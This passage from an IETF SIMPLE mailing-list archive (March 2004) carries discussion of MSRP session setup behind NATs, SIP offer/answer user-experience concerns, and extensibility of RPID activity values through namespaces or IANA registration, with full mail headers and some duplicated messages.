> >>
> >> - the UAC can use callerprefs to indicate what media it desires.
> >>    For this to work the UAS would have to evaluate the callerprefs,
> >>    which isn't currently required or expected.
> >>
> >> - preconditions could be used to ensure that there is a 
> satisfactory
> >>    agreement on media before alerting. In this particular
> >> case it would
> >>    be the UAS that inserts the preconditions as a way of 
> improving the
> >>    user experience at its end. Most any precondition would 
> do, though
> >>    the newly proposed connectivity precondition would be quite
> >>    appropriate. A hypothetical new precondition relating to
> >> negotiation
> >>    of some acceptable (set of) media stream(s) might also be
> >> interesting.
> >>
> >> Paul
> >>
> >> Adam Roach wrote:
> >>> Okay, so, the user experience you're promoting
> >>> here would lead to a situation in which you open
> >>> up your IM client, type in a message for me,
> >>> and my desktop hard phone starts ringing. Several
> >>> seconds later, I pick up the receiver, my hardphone
> >>> sends a "200 OK" response, and... well, nothing
> >>> good can come of any result at this point.
> >>>
> >>> If your client supports audio, my voice is suddenly
> >>> coming out of your PC speakers. If not, the call
> >>> is torn down, your client renders an error to you,
> >>> sends me a bye, and I'm sitting there holding a dead
> >>> handset.
> >>>
> >>> This is the problem that I've pointed out occasionally
> >>> for several years: this "send an INVITE with no body"
> >>> approach for setting up sessions causes all kinds
> >>> of problems. It was originally added for interwork
> >>> with the prehistoric H.323v1 procedures, and not killed
> >>> because we observed that it can be used in this clever
> >>> 3pcc hack -- but it invariably leads to a message that
> >>> semantically means the same thing as the dialog
> >>> box that I sent earlier.
> >>>
> >>> /a
> >>>
> >>>
> >>>> -----Original Message-----
> >>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
> >>>> Sent: Monday, March 01, 2004 8:38
> >>>> To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
> >>>> Cc: simple@ietf.org
> >>>> Subject: Re: [Simple] RE: MSRP & Comedia
> >>>>
> >>>>
> >>>>
> >>>> It just sends an offer with all three and then the other ends
> >>>> selects. This
> >>>> is how SIP is today - you can send an invite with no offer
> >>>> then get the
> >>>> offer in the response and put the answer in the ack.
> >>>>
> >>>> On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
> >>>>
> >>>>
> >>>>> From a protocol perspective, this sounds reasonable.
> >>>>>
> >>>>> I think the key problem is that the first example shifts the
> >>>>> decision of what type of communication is requested
> >>>>> from the caller to the callee. Without getting into a discussion
> >>>>> of whether that is the "right" thing to do, it certainly is
> >>>>> going to differ from user expectations.
> >>>>>
> >>>>> +----------------------------------------------+
> >>>>> | Cullen Jennings <sip:fluffy@cisco.com> wants |
> >>>>> | to start a conversation, but I have no idea  |
> >>>>> | what kind. Take your best guess:             |
> >>>>> |                                              |
> >>>>> |    +-------+  +-----------------+  +----+    |
> >>>>> |    | Voice |  | Voice and video |  | IM |    |
> >>>>> |    +-------+  +-----------------+  +----+    |
> >>>>> +----------------------------------------------+
> >>>>>
> >>>>> /a
> >>>>>
> >>>>>
> >>>>>> -----Original Message-----
> >>>>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
> >>>>>> Sent: Friday, February 27, 2004 0:50
> >>>>>> To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
> >>>>>> Cc: simple@ietf.org
> >>>>>> Subject: MSRP & Comedia
> >>>>>>
> >>>>>>
> >>>>>>
> >>>>>> This is a half baked idea that I am just tossing out as food
> >>>>>> for thought
> >>>>>>
> >>>>>> Consider a systems where something like the UA that sends the
> >>>>>> answer sends
> >>>>>> the VISIT.
> >>>>>>
> >>>>>> Consider the cases where A want to set up a MSRP 
> session with B.
> >>>>>>
> >>>>>> A is behind a NAT and does not want to use a relay. A sends
> >>>>>> an INVITE with
> >>>>>> no offer. B sends an offer, gets back an answer and A
> >>>>>
> >>>> sends the VISIT.
> >>>>
> >>>>>> A -> inv    -> B
> >>>>>> A <- offer  <- B
> >>>>>> A -> answer -> B
> >>>>>> A -> visit  -> B
> >>>>>>
> >>>>>> B is behind a NAT. A sends an offer and B sends an answer and
> >>>>>> A sends VISIT.
> >>>>>> A -> offer  -> B
> >>>>>> A <- answer <- B
> >>>>>> A <- visit  <- B
> >>>>>>
> >>>>>> A and B are behind NATS. A sends INVITE no offer, B knows
> >>>>>> relay is needed
> >>>>>> and gets one and sends offer.
> >>>>>>
> >>>>>> The underlying principal is basically if you don't know what
> >>>>>> port you are
> >>>>>> going to receive media at (which is the case with a NAT) you
> >>>>>> should not be
> >>>>>> making any offers and if you make an offer the assumption is
> >>>>>> that the other
> >>>>>> side and send media (a VISIT) to that and have it work.
> >>>>>>
> >>>>>> The fundamental thing I am trying to avoid is two vendors
> >>>>>> both saying they
> >>>>>> have MSRP compliant systems yet still having them fail to be
> >>>>>> able to talk to
> >>>>>> each other because they both expect the other one to host.
> >>>>>>
> >>>>>
> >>>>> _______________________________________________
> >>>>> Simple mailing list
> >>>>> Simple@ietf.org
> >>>>> https://www1.ietf.org/mailman/listinfo/simple
> >>>>>
> >>>>
> >>>>
> >>>> _______________________________________________
> >>>> Simple mailing list
> >>>> Simple@ietf.org
> >>>> https://www1.ietf.org/mailman/listinfo/simple
> >>>>
> >>>
> >>>
> >>> _______________________________________________
> >>> Simple mailing list
> >>> Simple@ietf.org
> >>> https://www1.ietf.org/mailman/listinfo/simple
> >>>
> >>
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 07:01:24 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA20748
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 07:01:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyV40-00023q-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 07:01:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyV3F-0001vU-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 07:00:37 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyV2k-0001mN-00; Wed, 03 Mar 2004 07:00:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyV2h-0000jK-Ow; Wed, 03 Mar 2004 07:00:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyV2O-0000iT-9W
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 06:59:49 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20624
	for <simple@ietf.org>; Wed, 3 Mar 2004 06:59:20 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyV20-0001jr-00
	for simple@ietf.org; Wed, 03 Mar 2004 06:59:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyV11-0001aC-00
	for simple@ietf.org; Wed, 03 Mar 2004 06:58:20 -0500
Received: from jalapeno.cc.columbia.edu ([128.59.59.238] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyV06-0001Qd-00
	for simple@ietf.org; Wed, 03 Mar 2004 06:57:22 -0500
Received: from cs.columbia.edu (UBAHN.wireless.ietf59.or.kr [218.37.228.104])
	(user=hgs10 mech=PLAIN bits=0)
	by jalapeno.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i23BvHAO000876
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Wed, 3 Mar 2004 06:57:20 -0500 (EST)
Message-ID: <4045C823.4030902@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Anders Kristensen <akristensen@dynamicsoft.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Simple WG <simple@ietf.org>
Subject: Re: activity namespaces [was: Re: [Simple] comments on draft-ietf-simple-rpid
 (long)]
References: <4041F046.7050207@dynamicsoft.com> <40435F39.6060904@dynamicsoft.com>
In-Reply-To: <40435F39.6060904@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 06:57:23 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

As far as I can tell, it is not possible in XML schemas to add tokens 
later (e.g., by IANA registration). Thus, checking has to be done 
outside of the schema verification.

Regardless of that, I'm inclined to leave this as IANA-registered, 
although relying on IANA seems like a dicey proposition where only 
institutions with a sense of time like the Catholic church would have 
the patience to register additional activities (or other similar items).

I suspect that rather than collision, the most difficult issue, either 
with namespaces, IANA registration or free-for-all, is allowing 
automated handling by UIs and policy languages since it requires 
upgrading lots of deployed systems.

Other suggestions are most welcome, but I'd like to wrap this up.

Anders Kristensen wrote:

> 
> I don't see how <activity> values (which is character content) can be 
> made extensible with XML based mechanisms alone, at least not in its 
> current form. If you want to publish a pidf/rpid doc with 
> <rs:activity>square-dancing</rs:activity>, how do you indicate that the 
> "square-dancing" value belongs to some non-rpid XML namespace (say 
> http://dancers-of-america.org/)?
> 
> Maybe having an additional level of elements, as in
> 
> <presence xmlns="urn:ietf:params:xml:ns:pidf"
>     xmlns:rs="urn:ietf:params:xml:ns:pidf:rpid-status"
>     xmlns:doa="http://dancers-of-america.org/"
>     entity="pres:someone@example.com">
>   ...
>     <rs:activity>
>       <doa:activity>square-dancing</doa:activity>
>     </rs:activity>
> 
> would work although it seems like rather a lot of machinery. Is this 
> what you had in mind?
> 
> Anders
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 07:02:40 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA20816
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 07:02:35 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyV4j-0001AC-Gy
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 07:02:09 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i23C29Yd004469
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 07:02:09 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyV4j-0001A0-BK
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 07:02:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA20753
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 07:01:25 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyV41-00023w-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 07:01:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyV3F-0001vb-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 07:00:38 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyV2k-0001mN-00; Wed, 03 Mar 2004 07:00:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyV2h-0000jK-Ow; Wed, 03 Mar 2004 07:00:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyV2O-0000iT-9W
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 06:59:49 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20624
	for <simple@ietf.org>; Wed, 3 Mar 2004 06:59:20 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyV20-0001jr-00
	for simple@ietf.org; Wed, 03 Mar 2004 06:59:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyV11-0001aC-00
	for simple@ietf.org; Wed, 03 Mar 2004 06:58:20 -0500
Received: from jalapeno.cc.columbia.edu ([128.59.59.238] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyV06-0001Qd-00
	for simple@ietf.org; Wed, 03 Mar 2004 06:57:22 -0500
Received: from cs.columbia.edu (UBAHN.wireless.ietf59.or.kr [218.37.228.104])
	(user=hgs10 mech=PLAIN bits=0)
	by jalapeno.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i23BvHAO000876
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Wed, 3 Mar 2004 06:57:20 -0500 (EST)
Message-ID: <4045C823.4030902@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Anders Kristensen <akristensen@dynamicsoft.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Simple WG <simple@ietf.org>
Subject: Re: activity namespaces [was: Re: [Simple] comments on draft-ietf-simple-rpid
 (long)]
References: <4041F046.7050207@dynamicsoft.com> <40435F39.6060904@dynamicsoft.com>
In-Reply-To: <40435F39.6060904@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 06:57:23 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

As far as I can tell, it is not possible in XML schemas to add tokens 
later (e.g., by IANA registration). Thus, checking has to be done 
outside of the schema verification.

Regardless of that, I'm inclined to leave this as IANA-registered, 
although relying on IANA seems like a dicey proposition where only 
institutions with a sense of time like the Catholic church would have 
the patience to register additional activities (or other similar items).

I suspect that rather than collision, the most difficult issue, either 
with namespaces, IANA registration or free-for-all, is allowing 
automated handling by UIs and policy languages since it requires 
upgrading lots of deployed systems.

Other suggestions are most welcome, but I'd like to wrap this up.

Anders Kristensen wrote:

> 
> I don't see how <activity> values (which is character content) can be 
> made extensible with XML based mechanisms alone, at least not in its 
> current form. If you want to publish a pidf/rpid doc with 
> <rs:activity>square-dancing</rs:activity>, how do you indicate that the 
> "square-dancing" value belongs to some non-rpid XML namespace (say 
> http://dancers-of-america.org/)?
> 
> Maybe having an additional level of elements, as in
> 
> <presence xmlns="urn:ietf:params:xml:ns:pidf"
>     xmlns:rs="urn:ietf:params:xml:ns:pidf:rpid-status"
>     xmlns:doa="http://dancers-of-america.org/"
>     entity="pres:someone@example.com">
>   ...
>     <rs:activity>
>       <doa:activity>square-dancing</doa:activity>
>     </rs:activity>
> 
> would work although it seems like rather a lot of machinery. Is this 
> what you had in mind?
> 
> Anders
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 07:21:24 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA21424
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 07:21:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVNM-00055j-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 07:21:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyVMV-0004xZ-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 07:20:31 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVM7-0004oy-00; Wed, 03 Mar 2004 07:20:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVM4-0004Mk-HD; Wed, 03 Mar 2004 07:20:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVLm-0004Ls-2P
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 07:19:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA21342
	for <simple@ietf.org>; Wed, 3 Mar 2004 07:19:25 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVLR-0004nP-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:19:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyVKX-0004eu-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:18:30 -0500
Received: from pecan.cc.columbia.edu ([128.59.59.178] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVJn-0004WW-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:17:43 -0500
Received: from cs.columbia.edu (UBAHN.wireless.ietf59.or.kr [218.37.228.104])
	(user=hgs10 mech=PLAIN bits=0)
	by pecan.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i23CHbSl020102
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Wed, 3 Mar 2004 07:17:40 -0500 (EST)
Message-ID: <4045CCE7.6020509@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long) - activity
References: <4041F046.7050207@dynamicsoft.com> <40427C5A.7020204@cs.columbia.edu> <40435C31.1050505@dynamicsoft.com>
In-Reply-To: <40435C31.1050505@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 07:17:43 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Jonathan Rosenberg wrote:

> 
> OK. It wasnt clear to me that what you meant by more specific 
> infomration was one of the other values for this.

Actually, re-reading the section leads me to believe that this was an 
artifact of an earlier version where some of the placetypes were in 
'activity'. I have reworked the link.

> I think thats OK. Timestamp is optional. When used with this element we 
> would need to make it mandatory.

I've added an 'if available' half sentence.

> 
> -Jonathan R.
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 07:22:40 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA21483
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 07:22:35 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVO1-0004or-FT
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 07:22:05 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i23CM5kp018525
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 07:22:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVO1-0004oi-8p
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 07:22:05 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA21428
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 07:21:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVNM-00055o-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 07:21:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyVMV-0004xg-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 07:20:32 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVM7-0004oy-00; Wed, 03 Mar 2004 07:20:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVM4-0004Mk-HD; Wed, 03 Mar 2004 07:20:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVLm-0004Ls-2P
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 07:19:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA21342
	for <simple@ietf.org>; Wed, 3 Mar 2004 07:19:25 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVLR-0004nP-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:19:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyVKX-0004eu-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:18:30 -0500
Received: from pecan.cc.columbia.edu ([128.59.59.178] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVJn-0004WW-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:17:43 -0500
Received: from cs.columbia.edu (UBAHN.wireless.ietf59.or.kr [218.37.228.104])
	(user=hgs10 mech=PLAIN bits=0)
	by pecan.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i23CHbSl020102
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Wed, 3 Mar 2004 07:17:40 -0500 (EST)
Message-ID: <4045CCE7.6020509@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long) - activity
References: <4041F046.7050207@dynamicsoft.com> <40427C5A.7020204@cs.columbia.edu> <40435C31.1050505@dynamicsoft.com>
In-Reply-To: <40435C31.1050505@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 07:17:43 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Jonathan Rosenberg wrote:

> 
> OK. It wasnt clear to me that what you meant by more specific 
> infomration was one of the other values for this.

Actually, re-reading the section leads me to believe that this was an 
artifact of an earlier version where some of the placetypes were in 
'activity'. I have reworked the link.

> I think thats OK. Timestamp is optional. When used with this element we 
> would need to make it mandatory.

I've added an 'if available' half sentence.

> 
> -Jonathan R.
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 07:31:35 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA21979
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 07:31:35 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVXC-0006me-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 07:31:34 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyVWK-0006cX-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 07:30:41 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVVp-0006Sg-00; Wed, 03 Mar 2004 07:30:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVVk-0005NG-Vo; Wed, 03 Mar 2004 07:30:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVVS-0005MB-9h
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 07:29:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA21846
	for <simple@ietf.org>; Wed, 3 Mar 2004 07:29:25 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVV7-0006Ph-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:29:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyVUC-0006Fb-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:28:29 -0500
Received: from jalapeno.cc.columbia.edu ([128.59.59.238] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVTQ-00066o-00
